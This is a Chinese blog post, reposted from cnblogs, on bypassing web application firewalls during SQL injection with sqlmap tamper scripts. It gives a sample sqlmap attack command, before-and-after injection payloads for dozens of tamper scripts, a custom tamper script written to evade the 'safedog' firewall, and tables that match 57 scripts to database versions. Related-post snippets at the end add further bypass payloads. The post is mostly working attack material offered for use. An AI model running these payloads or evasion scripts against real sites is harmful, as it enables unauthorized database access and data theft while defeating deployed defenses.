SQL注入--SQLMap过WAF

最新推荐文章于 2024-05-22 11:02:40 发布
最新推荐文章于 2024-05-22 11:02:40 发布
阅读量799 收藏 2
点赞数
文章标签： python 数据库 php
原文链接：http://www.cnblogs.com/AtesetEnginner/p/9964935.html
版权

单引号被过滤情况：

sqlmap的tamper绕过waf

空格、等号未被过滤情况：

sqlmap的tamper绕过waf

select被过滤情况：

sqlmap的tamper绕过waf

以此类推，当sqlmap注入出现问题时，比如不出数据，就要检查对应的关键词是否被过滤。

比如空格被过滤可以使用space2comment.py，过滤系统对大小写敏感可以使用randomcase.py等等。

根据实际情况，可以同时使用多个脚本，使用-v参数可以看到payload的变化。

sqlmap的tamper绕过waf

sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py"  -v 3 --dbs

脚本名：apostrophemask.py

作用：用utf8代替引号

1
Example: ( "1 AND '1'='1" ) '1  AND  %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

脚本名：equaltolike.py

作用：like 代替等号

1
2
3
4
5
Example:
 
*   Input:  SELECT  *  FROM  users  WHERE  id=1
 
*    Output :  SELECT  *  FROM  users  WHERE  id  LIKE  1

 

脚本名：space2dash.py

作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）

1
Example: ( '1 AND 9227=9227' )  '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

脚本名：greatest.py

作用：绕过过滤’>’ ,用GREATEST替换大于号。

1
Example: ( '1 AND A > B' )  '1 AND GREATEST(A,B+1)=A'  Tested against: * MySQL 4, 5.0  and  5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名：space2hash.py

作用：空格替换为#号 随机字符串 以及换行符

1
2
3
4
Example:
 
*   Input: 1  AND  9227=9227
*    Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:
  • MySQL 4.0, 5.0

脚本名：apostrophenullencode.py

作用：绕过过滤双引号，替换字符和双引号。

1
Example: tamper( "1 AND '1'='1" ) '1  AND  %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名：halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

1
2
3
Example:
 
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

脚本名：space2morehash.py

作用：空格替换为 #号 以及更多随机字符串 换行符

1
2
3
4
5
Example:
 
* Input: 1  AND  9227=9227
 
*  Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

 

脚本名：appendnullbyte.py

作用：在有效负荷结束位置加载零字节字符编码

1
Example: ( '1 AND 1=1' )  '1 AND 1=1%00'

Requirement:

  • Microsoft Access

脚本名：ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

1
2
3
Example:
 
( 'IFNULL(1, 2)' )  'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL
  • SQLite (possibly)
  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

脚本名：space2mssqlblank.py(mssql)

作用：空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

脚本名：base64encode.py

作用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

脚本名：space2mssqlhash.py

作用：替换空格

1
Example: ( '1 AND 9227=9227' )  '1%23%0AAND%23%0A9227=9227'  Requirement: * MSSQL * MySQL

脚本名：modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释

1
Example: ( '1 AND 2>1--' )  '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名：space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

1
2
3
4
5
Example:
 
* Input:  SELECT  id  FROM  users
 
*  Output :  SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

脚本名：between.py

作用：用between替换大于号（>）

1
Example: ( '1 AND A > B--' )  '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名：space2mysqldash.py

作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

注：之前有个mssql的 这个是mysql的

1
Example: ( '1 AND 9227=9227' )  '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL
  • MSSQL

脚本名：multiplespaces.py

作用：围绕SQL关键字添加多个空格

1
Example: ( '1 UNION SELECT foobar' )  '1 UNION SELECT foobar'

Tested against: all

脚本名：space2plus.py

作用：用+替换空格

1
Example: ( 'SELECT id FROM users' )  'SELECT+id+FROM+users'  Tested against:  all

脚本名：bluecoat.py

作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

1
Example: ( 'SELECT id FROM users where id = 1' )  'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名：nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

1
Example: ( '1 UNION SELECT 2--' )  '1 UNIOUNIONN SELESELECTCT 2--'  Tested against:  all

脚本名：space2randomblank.py

作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

1
Example: ( 'SELECT id FROM users' )  'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名：sp_password.py

作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1
Example: ( '1 AND 9227=9227-- ' )  '1 AND 9227=9227-- sp\_password'  Requirement: * MSSQL

脚本名：chardoubleencode.py

作用: 双url编码(不处理以编码的)

1
2
3
4
5
Example:
 
* Input:  SELECT  FIELD  FROM %20TABLE
 
*  Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名：unionalltounion.py

作用：替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名：charencode.py

作用：url编码

1
2
3
4
5
Example:
 
*   Input:  SELECT  FIELD  FROM %20TABLE
 
*    Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名：randomcase.py

作用：随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名：unmagicquotes.py

作用：宽字符绕过 GPC addslashes

1
2
3
4
5
Example:
 
* Input: 1′  AND  1=1
 
*  Output : 1%bf%27  AND  1=1–%20

脚本名：randomcomments.py

作用：用/**/分割sql关键字

1
2
3
Example:
 
‘ INSERT ’ becomes ‘ IN //S//ERT’

脚本名：charunicodeencode.py

作用：字符串 unicode 编码

1
2
3
4
5
Example:
 
* Input:  SELECT  FIELD%20FROM  TABLE
 
*  Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP
  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3

脚本名：securesphere.py

作用：追加特制的字符串

1
Example: ( '1 AND 1=1' )  "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名：versionedmorekeywords.py

作用：注释绕过

1
2
3
4
5
Example:
 
* Input: 1  UNION  ALL  SELECT  NULL ,  NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER ()  AS  CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
 
*  Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名：space2comment.py

作用：Replaces space character (‘ ‘) with comments ‘/**/’

1
2
3
4
5
Example:
 
* Input:  SELECT  id  FROM  users
 
*  Output :  SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名：halfversionedmorekeywords.py

作用：关键字前加注释

1
2
3
4
5
Example:
 
* Input: value’  UNION  ALL  SELECT  CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER ()  AS  CHAR ), CHAR (32)), CHAR (58,97,110,121,58)),  NULL ,  NULL #  AND ‘QDWa’= 'QDWa
 
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa

Requirement:

  • MySQL < 5.1

Tested against:

 

  • MySQL 4.0.18, 5.0.22

  

 编写一个tamper脚本

 #!/usr/bin/env python                                                                        #此处代码可以直接从其他tamper复制粘贴过来

"""

Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)   #常规文档说明     

See the file 'doc/COPYING' for copying permission

v0.0.1                                                                                               #添加这个脚本的版本说明

2016.08.21                                                                                        #添加我们写这个脚本的日期

"""

from lib.core.enums import PRIORITY    #导入sqlmap中lib\core\enums中的PRIORITY函数， LOWEST = -100，LOWER = -50，. 详细见enums.py

__priority__ = PRIORITY.LOW               #定义优先级，此处为级别为【一般】


def dependencies():                              #定义dependencies():此处是为了和整体脚本的结构保持一致。
    pass                                               #pass 不做任何事情，一般用做占位语句。为了保持程序结构的完整性

def tamper(payload, **kwargs):      #定义tamper脚本，**kwargs 为字典存储，类似于 {'a': 1, 'c': 3} 

    """

   To bypass safedog                         

    Replaces space character (' ') with plus ('/*|%20--%20|*/')          #把空格替换为（/*|%20--%20|*/）绕过，此处为绕过规则
    >>> tamper('SELECT id FROM users')                                   #此处为替换后的具体执行形式
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    """
    retVal = payload                                                                     # 将payload赋值给  retVal ，以便中间转换。
    if payload:                                                                               
        retVal = "" 
        quote, doublequote, firstspace = False, False, False             #定义这些符号参数，防止对后面的替换造成影响
        for i in xrange(len(payload)):                                               # 在攻击载荷中逐个进行判断操作。
            if not firstspace:                                                                #如果攻击载荷的第一个字段是空格，则进行替换
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"                                      #把空格（ ） 替换成（/*|%20--%20|*/）
                    continue                                                                     #继续进行判断操作
            elif payload[i] == '\'':                                                         #如果攻击载荷中有（\ ），则进行编码转换
                quote = not quote
            elif payload[i] == '"':                                                          #如果攻击载荷中有（“ ），则进行编码转换
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:         #如果攻击载荷中有空格（），并且它既不是doublequote 或 quote  
                retVal += "/*|%20--%20|*/"                                                    #则进行编码转换
                continue                                                                            继续执行
            retVal += payload[i]                                                            #得到重新组合的payload
    return retVal

 

附：tamper57个脚本：

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符，等号替换为like
8chardoubleencode双url编码
9charencode将url编码
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\\\
18greatest大于号替换为greatest
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为–加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/**_**/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为–%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头
 

Part 3

下面以数据库为区分，给出每种数据库可供选择的tamper。若同一脚本适用不同数据库，则在每个数据库中都指出。

【MySQL】

版本可用tamper编号脚本名称
4/5.0/5.510x2char
6between
9charencode
16concat2concatws
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
5.17bluecoat
46space2mysqlblank
5.0/5.512commalesslimit
13commalessmid
21ifnull2casewhenisnull
22ifnull2ifisnull
42space2morecomment
5.015concat2concatws
26modsecurityversioned
27modsecurityzeroversioned
4.0/5.041space2hash
5.1.5610charunicodeencode
5.1.56/5.5.1132percentage
56versionedmorekeywords
4.0.18/5.0.2219halfversionedmorekeywords
4.0.18/5.1.56/5.5.1155versionedkeywords
5.1.4143space2morehash
未指定版本14commentbeforeparentheses
40space2dash
45space2mssqlhash
47space2mysqldash

【SQLServer】

版本可用tamper编号脚本名称
2005/200010charunicodeencode
32percentage
44space2mssqlblank
20056between
9charencode
16equaltolike
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
2002+33plus2concat
2008+34plus2fnconcat
未指定14commentbeforeparentheses

 【Access】

版本可用tamper编号脚本名称
未指定4appendnullbyte

 【Oracle】

版本可用tamper编号脚本名称
10g6between
9charencode
14commentbeforeparentheses
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase

 【PostgreSQL】

版本可用tamper编号脚本名称
8.3/8.4/9.06between
9charencode
18greatest
24least
25lowercase
39space2comment
49space2randomblank
53uppercase
9.032percentage
9.0.310charunicodeencode
未指定14commentbeforeparentheses
35randomcase

 【MSSQL】

版本可用tamper编号脚本名称
未指定38sp_password

 【SQLite】

版本可用tamper编号脚本名称
未指定40space2dash

 【未知适用范围】

若以上脚本未解决问题，可尝试使用一下脚本。

版本可用tamper编号脚本名称
 2apostrophemask
3apostrophenullencode
5base64encode
8chardoubleencode
11charunicodeescape
17escapequotes
20htmlencode
23informationschemacomment
28multiplespaces
29nonrecursivereplacement
30overlongutf8
31overlongutf8more
36randomcomments
37securesphere
48space2plus
50symboliclogical
51unionalltounion
52unmagicquotes
54varnish
57xforwardedfor

转载于:https://www.cnblogs.com/AtesetEnginner/p/9964935.html

weixin_34122810
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
＜小迪安全＞19-SQL注入之sqlmap绕过WAF
hackerXxxt的博客
03-17 813
1.白名单方式一:IP白奖单从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。测试方法:修改http的header来bypass wafx-Real-ip方式二:静态资源特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css等等)，类似白名单机制,waf为了检测效率，不去检测这样一些静态文件名后缀的请求。id=1id=1备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别。
sql注入绕过方法总结
12-19
sql注入绕过方法总结，绕过waf，D盾
WEB漏洞-SQL注入之sqlmap绕过waf
xhscxj的博客
01-18 2810
静态资源 特定的静态资源后缀请求，常见的静态文件如（.js，.css，.jpg，.txt等），类似与白名单机制，waf为了检验的效率，不会去检验这样一些静态后缀名的请求 在网站目录后面加上x.txt，网站返回的数据不会受影响，这样waf就有可能不会去检查后面的参数，从而绕过。 爬虫白名单 当你去用工具扫描网站时访问的次数太频繁，如果网站waf设有流量资源防护，就会把你的ip列入黑名单。 但是为什么百度，谷歌等浏览器也属于爬虫，他们请求的时候不会被禁止访问 因为网站的waf设置了爬虫白名单，当它识别到use
sqlmap 使用tamper脚本绕过WAF
最新发布
xf3401837266的博客
05-22 674
sqlmap 使用tamper脚本绕过WAF
sqlmap识别网站WAF_如何判断网站WAF
weixin_30532987的博客
01-12 1443
sqlmap中自带了识别waf的模块可以识别出网站的waf种类，如果安装的waf没有什么特征，识别出来的就是：Generic。 sqlmap识别命令： sqlmap.py -u “http://www.xxx.com” --identify-waf --batch 详细的识别规则在sqlmap的waf目录下，也可以自己编写规则，写好了直接放waf目录下即可。 转载于:https://...
19、SQL注入之SQLMAP绕过WAF
山兔的博客
08-14 2171
搜索引擎会对我们的网站进行爬取，因为它的收录就是对我们的网站采取爬虫技术，而且速度很快，也是符合拦截规则的，但是WAF却不会去拦截，因为WAF会去识别你这个是用户访问，还是搜索引擎爬取，所以我们可以通过数据包的伪造，伪造成搜索引擎，对目标的网站进行访问，这个时候waf肯定会放行，因为它觉得这个是搜索引擎的访问，是正常的、官方的一种收录行为，不会是用户的攻击行为。一个是获取IP是不是通过脚本去获取，如果是的话，可以去伪造IP，通过tcp/udp网络层方式获取的，那是没有办法伪造的。
sqlmap过waf详解
净邪的博客
07-13 5269
WAF又称web应用防火墙，因为它的出现可以忽略很多应用漏洞，但并不是所有waf都可以通过sqlmap绕过，整理了一部分仅供参考sqlmap可以通过脚本拓展的方式调用模块对注入进行参数“打乱”以此达到绕过的效果可以使用命令–tamper 来调用脚本脚本调用大全：https://blog.csdn.net/hxsstar/article/details/22782627命令也大同小异，例如：sqlm...
SQL注入天书 sqli-labs
01-11
《SQL注入天书 sqli-labs》是一本深入探讨SQL注入技术的专业资料，结合了sqli-labs实战平台，旨在帮助读者强化对SQL注入的理解和防御能力。SQL注入是一种常见的网络安全漏洞，攻击者通过在输入数据中嵌入恶意SQL代码...
SQL注入漏洞检测工具sqlmap用户手册
09-16
SQLmap是应对这种威胁的一款强大的自动化工具，由Python编写，旨在帮助安全专家和渗透测试人员检测和利用SQL注入漏洞。本手册将深入探讨sqlmap的使用方法及其核心功能。 一、SQLmap的安装与配置 SQLmap可在多种操作...
sqlmapproject-sqlmap-1.5.7-1.zip
09-28
SQLmap是一款广受欢迎且功能强大的自动化SQL注入工具，主要用于检测和利用网站应用程序中的SQL注入漏洞。这个工具由Python编程语言编写，其版本为1.5.7-1，如文件名"sqlmapproject-sqlmap-1.5.7-1.zip"所示。SQLmap...
sqlmapproject-sqlmap-1.5.8
08-14
SQLMap是一款功能强大的自动化SQL注入工具，主要用于检测和利用SQL注入漏洞。它的核心是用Python编程语言编写的，具备高度灵活性和广泛的功能，使得它在网络安全领域中扮演着重要的角色。SQLMap 1.5.8作为其一个版本...
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF
MCTSOG的博客
03-03 1853
在攻防实战中，往往需要掌握一些特性，比如服务器、数据库、应用层、WAF 层等，以便我们更灵活地去构造 Payload，从而可以和各种WAF 进行对抗，甚至绕过安全防御措施进行漏洞利用。 数据库特性（补充） %23x%0aunion%23x%0Aselect%201,2,3 %20/!44509union/%23x%0aselect%201,2,3 id=1/**&id=-1%20union%20select%201,2,3%23*/ %20union%20all%23%0a%20select%20
sqlmap.py mysql注入_sqlmap注入之tamper绕过WAF防火墙过滤（转载）
weixin_32247165的博客
01-26 178
每当注入的时候看到这个贱贱的提示框，内心有千万只草泥马在奔腾。但很多时候还是得静下来分析过滤系统到底过滤了哪些参数，该如何绕过。sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，可能有的朋友还不知道怎样才能最有效的利用tamper脚本。当然使用脚本之前需要确定的就是系统过滤了哪些关键字，比如单引号、空格、select、union、admin等等。所以有的时候我们会发现，注入成功了...
SQL注入之WAF绕过
m0_48907714的博客
04-04 3344
SQL注入之WAF绕过 数据 大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用 方式 更改提交方式 变异 其他 Fuzz大法 数据库特性 垃圾数据溢出 HTTP参数污染
第18、19天：WEB漏洞-WAF绕过注入以及SQLMAP绕过WAF
cailme的博客
05-18 1556
渗透测试day18、19天
19.sqlmap饶过waf安全狗
weixin_46525626的博客
07-13 759
因为大都是通过的方式进行拦截，所以如果出现了被拦截的情况，大概率是因为你的语句的触发了黑名单的验证机制，导致被拦截,那应该怎么检测呢？其实就行了，输入页面，如下说明“and 1”这个部分触发了拦截，此时的绕过方式可以选择替换或者绕过，这里我们先试试对中间的空格进行替换，空格的替换方式尤其多，我们不可能全部都能记住，所以这里就要FUZZ绕过方式一:IP白奖单从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。
sqlmap一些常用注入方法
06-11 261
–cookie : 设置我们的cookie值 -u : 指定目标URL -b : 获取DBMS banner –-current-db : 获取当前数据库 –-current-user:获取当前用户 –batch 参数采用默认选项，不进行询问 –privilege：查看权限 –force-ssl:采用https –level：1-5越高越深度探测 –dbms: mssql 、mysql |等指定数据库类型 ——————————————————————————————— access注入： sqlmap
封神台——WAF绕过
Zichel77的博客
07-04 612
没看到id，还是点进一篇新闻看看，因为新闻的页面是和新闻网站数据库产生交互的 是你呀id 是网站下的shownews.asp这个ASP动态网页文件，与数据库进行交互，并查询出了第171篇（id=171）新闻内容的值。 按照上次的老套路 准备来手工注入，构造 and 1=1 我人都要被吓尿了，感觉自己是不是会被请去喝茶 但是毕竟是练习，已经提醒了会有waf拦截，但是他只阻碍了传参中的一些参数，刚刚的and就被禁了 那我试一下不用and 注意，此题使用的是Access数据库，与MyS..
sqlmap绕过waf注入
05-21
SQLMap是一款常用的SQL注入工具，但是在一些情况下，可能会被Web应用程序防火墙（WAF）检测到并且阻止进一步的注入攻击。下面是一些绕过WAF的SQLMap注入技巧： 1. 修改HTTP头部 在SQLMap中使用`--headers`选项来...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值